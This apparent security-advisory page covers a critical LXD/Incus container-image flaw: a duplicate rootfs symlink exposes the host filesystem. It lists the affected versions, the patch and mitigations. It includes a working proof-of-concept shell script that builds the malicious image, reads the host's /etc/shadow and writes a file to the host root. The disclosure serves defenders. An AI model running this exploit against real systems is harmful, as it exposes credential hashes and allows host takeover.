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CRITICAL severity

LXD has arbitrary file read+write on host via rootfs/ symlink in malicious imageGHSA-vghh-5rfx-xhq8

CRITICALFix: canonical/lxd@190e245

GHSA-vghh-5rfx-xhq8 is a critical-severity (CVSS 9.9) vulnerability in github.com/canonical/lxd. A fix is available for github.com/canonical/lxd — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹github.com/canonical/lxd

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/canonical/lxdall versions0.0.0-20260630083100-c5184be310b1go get github.com/canonical/lxd@v0.0.0-20260630083100-c5184be310b1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/canonical/lxd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/canonical/lxd to 0.0.0-20260630083100-c5184be310b1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vghh-5rfx-xhq8 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv ### Summary A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. ### Details Incus validates an image as soon as it sees a normal `metadata.yaml` and a `rootfs/` entry, but full extraction can later process a duplicate top-level `rootfs` symlink. Later, the stopped-container file API opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots to it. ``` metadata.yaml rootfs/ rootfs -> / ``` In pr
O3 Security · Impact-Aware SCA

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